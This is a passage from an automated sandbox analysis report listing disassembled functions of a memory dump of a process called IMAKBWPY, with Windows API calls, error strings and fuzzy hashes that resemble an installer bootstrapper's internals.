Strings

cryputil.cpp, xrefs: 009DFBB1

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CryptErrorLast$Hash$ContextFile$AcquireCreateDataDestroyParamPointerReadRelease
String ID: cryputil.cpp
API String ID: 3955742341-2185294990
Opcode ID: 26e503da5c0f4978fd1fe8f247e1958eace46306eec8b23b1ec8a9ce3c30dff6
Instruction ID: 732628db3b16efb68946338d4bc627df6c5772867187c494f8cfb1a4fb6f18b4
Opcode Fuzzy Hash: 26e503da5c0f4978fd1fe8f247e1958eace46306eec8b23b1ec8a9ce3c30dff6
Instruction Fuzzy Hash: 1151F837D90179ABD7318A51CC66BDB7668BF04751F0180B7BE4AFA350E3749D809AE0

Function 009B9E9E Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 181COMMON

Download Yara Rule

Strings

Failed to move verified file to complete payload path: %ls, xrefs: 009BA06C
Failed to create unverified path., xrefs: 009B9F6E
Failed to find payload: %ls in working path: %ls and unverified path: %ls, xrefs: 009B9FCB
Failed to reset permissions on unverified cached payload: %ls, xrefs: 009B9FF1
Failed to get cached path for package with cache id: %ls, xrefs: 009B9EC8
Failed to concat complete cached path., xrefs: 009B9EF4
copying, xrefs: 009BA030, 009BA038
moving, xrefs: 009BA029
Failed to transfer working path to unverified path for payload: %ls., xrefs: 009B9FA4

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID:
String ID: Failed to concat complete cached path.$Failed to create unverified path.$Failed to find payload: %ls in working path: %ls and unverified path: %ls$Failed to get cached path for package with cache id: %ls$Failed to move verified file to complete payload path: %ls$Failed to reset permissions on unverified cached payload: %ls$Failed to transfer working path to unverified path for payload: %ls.$copying$moving
API String ID: 0-1289240508
Opcode ID: ed7f325cb232a05a99e7a55fdb208cdf85e61f992707f3e9b27087a11a6f3625
Instruction ID: 10a51947b52c56f299081fd2cbd4426ce3d592cd74af8332de2874bac8b2b02f
Opcode Fuzzy Hash: ed7f325cb232a05a99e7a55fdb208cdf85e61f992707f3e9b27087a11a6f3625
Instruction Fuzzy Hash: A4517E31944219FBDF236FA4CE06FED7B76AF55720F104051FA00B61A1E7769EA0AB81

Function 009A62AA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 144COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C), ref: 009A62F8
GetLastError.KERNEL32 ref: 009A6302

Strings

Failed to get OS info., xrefs: 009A6330
Failed to set variant value., xrefs: 009A6423
variable.cpp, xrefs: 009A6326

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLastVersion
String ID: Failed to get OS info.$Failed to set variant value.$variable.cpp
API String ID: 305913169-1971907631
Opcode ID: c9b9e84219ddee78ceaba04cc55944e715c2f071ad41b959c2efdc97a5ea2b4c
Instruction ID: 2e4d17086429ebb3fb0e595f349d4ba518b3dedae1fb3d4d6f4ea11cedf73b43
Opcode Fuzzy Hash: c9b9e84219ddee78ceaba04cc55944e715c2f071ad41b959c2efdc97a5ea2b4c
Instruction Fuzzy Hash: 1841D672E04228ABDB20DB59CC45FEF7BB8EB8A720F04055AF555E7150DA349E41CBD0

Function 009A6037 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 107timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 009A6062
GetDateFormatW.KERNEL32(00000400,00000001,?,00000000,00000000,00000000), ref: 009A6076
GetLastError.KERNEL32 ref: 009A6088
GetDateFormatW.KERNEL32(00000400,00000001,?,00000000,?,00000000,?,00000000), ref: 009A60DC
GetLastError.KERNEL32 ref: 009A60E6

Strings

Failed to get the required buffer length for the Date., xrefs: 009A60AD
Failed to set variant value., xrefs: 009A6124
Failed to get the Date., xrefs: 009A610B
variable.cpp, xrefs: 009A60A3, 009A6101
Failed to allocate the buffer for the Date., xrefs: 009A60C4

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: DateErrorFormatLast$SystemTime
String ID: Failed to allocate the buffer for the Date.$Failed to get the Date.$Failed to get the required buffer length for the Date.$Failed to set variant value.$variable.cpp
API String ID: 2700948981-3682088697
Opcode ID: 03a9812e3bf5572d9e54ede1bdf705e8d2a85e175ac58f39ee064ee63f2b4edd
Instruction ID: 2484396d4ec5b9215940b0873c4a51f0eb262d771408a6b5dcecf41f81b4a775
Opcode Fuzzy Hash: 03a9812e3bf5572d9e54ede1bdf705e8d2a85e175ac58f39ee064ee63f2b4edd
Instruction Fuzzy Hash: 8631FD72E442696BDB229BEACC82FBF7BB8AB45710F110429FF00F7181D6649D4086E1

Function 009DFEC6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132threadtimeCOMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00A0B5FC,00000000,?,?,?,?,009C12CF,8007139F,Invalid operation for this state.,cabextract.cpp,000001C7,8007139F), ref: 009DFEF4
GetCurrentProcessId.KERNEL32(00000000,?,009C12CF,8007139F,Invalid operation for this state.,cabextract.cpp,000001C7,8007139F), ref: 009DFF04
GetCurrentThreadId.KERNEL32 ref: 009DFF0D
GetLocalTime.KERNEL32(8007139F,?,009C12CF,8007139F,Invalid operation for this state.,cabextract.cpp,000001C7,8007139F), ref: 009DFF23
LeaveCriticalSection.KERNEL32(00A0B5FC,009C12CF,?,00000000,0000FDE9,?,009C12CF,8007139F,Invalid operation for this state.,cabextract.cpp,000001C7,8007139F), ref: 009E001A

Strings

%ls[%04X:%04X][%04hu-%02hu-%02huT%02hu:%02hu:%02hu]%hs%03d:%ls %ls%ls, xrefs: 009DFFC0

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalCurrentSection$EnterLeaveLocalProcessThreadTime
String ID: %ls[%04X:%04X][%04hu-%02hu-%02huT%02hu:%02hu:%02hu]%hs%03d:%ls %ls%ls
API String ID: 296830338-59366893
Opcode ID: 36baa2af858f5828dff9ca940e290d583589e7b90c8fdce277a824250f11ae26
Instruction ID: 9367ca84446d29fc5a7f4b945c05fc63121aa926c3db047b6be7abc1879facb9
Opcode Fuzzy Hash: 36baa2af858f5828dff9ca940e290d583589e7b90c8fdce277a824250f11ae26
Instruction Fuzzy Hash: 5F41B231D0021DABCF21CFA9DC45BBFB7B8EB48B11F004426F901A6290D7359D81DBA0

Function 009B9B43 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,00000000,?,*.*,?,?,?,00000000,.unverified,?), ref: 009B9BF2
lstrlenW.KERNEL32(?), ref: 009B9C19
FindNextFileW.KERNEL32(00000000,00000010), ref: 009B9C79
FindClose.KERNEL32(00000000), ref: 009B9C84

Part of subcall function 009A3CC4: GetFileAttributesW.KERNELBASE(?,?,?,?,00000001,00000000,?), ref: 009A3D40
Part of subcall function 009A3CC4: GetLastError.KERNEL32(?,?,?,00000001,00000000,?), ref: 009A3D53

Strings

*.*, xrefs: 009B9BCC
.unverified, xrefs: 009B9B86

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: FileFind$AttributesCloseErrorFirstLastNextlstrlen
String ID: *.*$.unverified
API String ID: 457978746-2528915496
Opcode ID: 559ff68d8b9b116dff34a7a63b04e8a16ea4ff9127f003e9f3fe65e966998e80
Instruction ID: e53dd66306096468acc5229b71f0af9b5a07edc31335b3c75bfc7a59dee37bf5
Opcode Fuzzy Hash: 559ff68d8b9b116dff34a7a63b04e8a16ea4ff9127f003e9f3fe65e966998e80
Instruction Fuzzy Hash: 6941933091056CAECB21AF64DE49BEA7BFCEF84311F1001A5EA49E10A1EB758EC4DF54

Function 009E887B Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 77timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000001,00000000), ref: 009E88D0
SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?), ref: 009E88E2

Strings

%04hu-%02hu-%02huT%02hu:%02hu:%02huZ, xrefs: 009E88B9
feclient.dll, xrefs: 009E88AA
%04hu-%02hu-%02huT%02hu:%02hu:%02hu%c%02u:%02u, xrefs: 009E892D
crypt32.dll, xrefs: 009E88A0

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Time$InformationLocalSpecificSystemZone
String ID: %04hu-%02hu-%02huT%02hu:%02hu:%02hu%c%02u:%02u$%04hu-%02hu-%02huT%02hu:%02hu:%02huZ$crypt32.dll$feclient.dll
API String ID: 1772835396-1985132828
Opcode ID: d6eeeb5befffd0a11535ca7548e6e70a01da3f0aa83f3cbd7f16e4a8d0c97d63
Instruction ID: 7c0004db3407b72b7f988e35b9b520a4569a33717d03b49690899f6e6a418dbb
Opcode Fuzzy Hash: d6eeeb5befffd0a11535ca7548e6e70a01da3f0aa83f3cbd7f16e4a8d0c97d63
Instruction Fuzzy Hash: 0A21E6A6900128EADB60DB9ADC05FBBB3FCEB58711F00455ABA55D6180E6389A80D771

Function 009DAA0E Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 009DAB54

Strings

1#IND, xrefs: 009DBD4C
1#INF, xrefs: 009DBD61
1#QNAN, xrefs: 009DBD5A
1#SNAN, xrefs: 009DBD53

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 931c974cbb43b522c56c6578d5d912a2daa91a61c1ac397f458db377bba2037f
Instruction ID: b5d9d5f28d537cfee6eb10db282e5dc908c75c439935aa9db748432bcb0ccc3a
Opcode Fuzzy Hash: 931c974cbb43b522c56c6578d5d912a2daa91a61c1ac397f458db377bba2037f
Instruction Fuzzy Hash: DCC22872E446288BDB25CE28DD407EAB3B9EB94314F1585EBD44DE7340E778AE818F41

Function 009A61DF Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 53COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 009A620F
GetLastError.KERNEL32 ref: 009A6219

Strings

Failed to set variant value., xrefs: 009A625E
Failed to get the user name., xrefs: 009A6242
variable.cpp, xrefs: 009A6238

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLastNameUser
String ID: Failed to get the user name.$Failed to set variant value.$variable.cpp
API String ID: 2054405381-1522884404
Opcode ID: cac11a1dde201d85d4044356ba039e19a71e8785d8dd8822b19261c82ee1ac3d
Instruction ID: f30fcf9dc8ea2c7568edb9de6ef34a8b5a3706ea1eec29268d78ac34e2b0a7bd
Opcode Fuzzy Hash: cac11a1dde201d85d4044356ba039e19a71e8785d8dd8822b19261c82ee1ac3d
Instruction Fuzzy Hash: 39014972E4132C67C721DB558C0AFAF77ACAB41720F000259FC20E7241DB749E418AD1

Function 009DFE21 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(00000900,?,?,00000000,00000000,00000000,?,00000000,?,?,009E04F4,?,?,?,?,00000001), ref: 009DFE40
GetLastError.KERNEL32(?,009E04F4,?,?,?,?,00000001,?,009A5616,?,?,00000000,?,?,009A5395,00000002), ref: 009DFE4C
LocalFree.KERNEL32(00000000,?,?,00000000,?,?,009E04F4,?,?,?,?,00000001,?,009A5616,?,?), ref: 009DFEB5

Strings

logutil.cpp, xrefs: 009DFE6B

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFormatFreeLastLocalMessage
String ID: logutil.cpp
API String ID: 1365068426-3545173039
Opcode ID: 8544436b2f598ff6bf61098ffc561971d79323fd5fbe46c48a3073ff54f98bbc
Instruction ID: 88c4c341702e04289207a042b21bc1a370b9a9ec765437bc9615b45e2de4344f
Opcode Fuzzy Hash: 8544436b2f598ff6bf61098ffc561971d79323fd5fbe46c48a3073ff54f98bbc
Instruction Fuzzy Hash: 5711C432640129EBDB319F85DD16EAF7B68FF54711F01802AFD069A271D7319E20E6B0

Function 009C6B88 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000003,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,009C6B32,00000000,00000003), ref: 009C6B9F
GetLastError.KERNEL32(?,009C6B32,00000000,00000003,00000000,?,?,?,?,?,?,?,?,?,009C6F28,?), ref: 009C6BA9

Strings

Failed to set service start type., xrefs: 009C6BD7
msuengine.cpp, xrefs: 009C6BCD

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ChangeConfigErrorLastService
String ID: Failed to set service start type.$msuengine.cpp
API String ID: 1456623077-1628545019
Opcode ID: 54f4fb3fe3327ca3f96fb20d3a551287dec43b22da1603fa5dc463ebd78369be
Instruction ID: cb20d3e9d55dc0fb71a30d61bb584e26ee58599e61b3250d4ae4c887a3a704da
Opcode Fuzzy Hash: 54f4fb3fe3327ca3f96fb20d3a551287dec43b22da1603fa5dc463ebd78369be
Instruction Fuzzy Hash: 8FF0E533A4D13A778B31269A9C09F9B7E58AF01BB1B110325FF38FA2D0DB559D0092E5

Function 009D3C76 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 009D3D6E
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 009D3D78
UnhandledExceptionFilter.KERNEL32(80003CDD,?,?,?,?,?,?), ref: 009D3D85

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 5629bbfec06ce0e5a291746b36bc15d4ec3e971d2e7812d7dcfed756068ec81a
Instruction ID: 2cb79855f64c5957113ffbf908a4418dc0c9d5f1600e92f1329737603f8fd29c
Opcode Fuzzy Hash: 5629bbfec06ce0e5a291746b36bc15d4ec3e971d2e7812d7dcfed756068ec81a
Instruction Fuzzy Hash: EA31F474D5122C9BCB21DF64D989B8DBBB8BF08310F5081EAE80CA7251E7309F818F45

Function 009DA560 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f8f95bc5e7c876d0a1a0b2598f8063104ee7b1299e502c05a036ee161ca1c45
Instruction ID: 49e505347c6ce886517103da75ffac7be64710923900b2f044ba9efcbd0191d2
Opcode Fuzzy Hash: 4f8f95bc5e7c876d0a1a0b2598f8063104ee7b1299e502c05a036ee161ca1c45
Instruction Fuzzy Hash: 75022B71E402199FDF14CFA9C8906ADB7F5EF88324F25826AD819E7384D730AE51CB91

Function 009E3A5F Relevance: 3.1, APIs: 2, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 009E3BF1: RegCloseKey.ADVAPI32(00000000,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System,00020019,00000000,?,?,?,?,?,009E3A8E,?), ref: 009E3C62

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 009E3AB2
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 009E3AC3

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AllocateCheckCloseInitializeMembershipToken
String ID:
API String ID: 2114926846-0
Opcode ID: 7d6df3b082e277f737a7aa7ce37d86b346bcbc7e6bc78a0d7126986867e17eba
Instruction ID: 6d35e845ffb4ba0cb9b38428ac2cfa43696d97b66836ea7f8923d9026c61d67f
Opcode Fuzzy Hash: 7d6df3b082e277f737a7aa7ce37d86b346bcbc7e6bc78a0d7126986867e17eba
Instruction Fuzzy Hash: A911F77190025EABDB11DFA5DC89BAFB7BCFF08304F548829A541A7151E7709E448B51

Function 009E4440 Relevance: 3.0, APIs: 2, Instructions: 44fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(009C923A,?,00000100,00000000,00000000), ref: 009E447B
FindClose.KERNEL32(00000000), ref: 009E4487

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: a8d62bb9353eb45c83ae1583b0e1aa57e352b5de87e3014264bdba2c8af4c2b9
Instruction ID: 6a8e61af1a04369388dab05811bc57c60f1372397320e421eb699fcbff470bc1
Opcode Fuzzy Hash: a8d62bb9353eb45c83ae1583b0e1aa57e352b5de87e3014264bdba2c8af4c2b9
Instruction Fuzzy Hash: 0601F932B0024C6BCB10EFA6ED89FABB3ACEBC5325F000065F915C7190E6345D498754

Function 009D2C18 Relevance: 2.7, Strings: 2, Instructions: 214COMMONLIBRARYCODE

Download Yara Rule

Strings

comres.dll, xrefs: 009D2DBF, 009D2DD8, 009D2E00, 009D2E2B
0, xrefs: 009D2D88

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID:
String ID: 0$comres.dll
API String ID: 0-3030269839
Opcode ID: f7a880ec5967ec64a90054ca813bf1243ddeae79b496adee3d9f08ad155e7dd2
Instruction ID: dc98c70fbe60798b3764e1b196ddd74da5c265b5724b48adeb2dc9db7668ce4c
Opcode Fuzzy Hash: f7a880ec5967ec64a90054ca813bf1243ddeae79b496adee3d9f08ad155e7dd2
Instruction Fuzzy Hash: CA517C602D4B0457DB384B7845957BF239E9B76381F18C9ABE8C3DB3D2C60ADE418362

Function 009DEE7C Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,009DEE77,?,?,00000008,?,?,009DEB17,00000000), ref: 009DF0A9

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 38c6f03264848e77b8e8ac19178cc17413c1035ce828f3b3f280f38c9097eddd
Instruction ID: 842289a4b573eeffe031028adebaea8e98297ec4fc940e5efc9ba4ac04fb740b
Opcode Fuzzy Hash: 38c6f03264848e77b8e8ac19178cc17413c1035ce828f3b3f280f38c9097eddd
Instruction Fuzzy Hash: 1CB11831650609DFD719CF28C49AB657BA0FF45364F29C669E89ACF3A2C335E981CB40

Function 009CEC07 Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 009CEC20

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

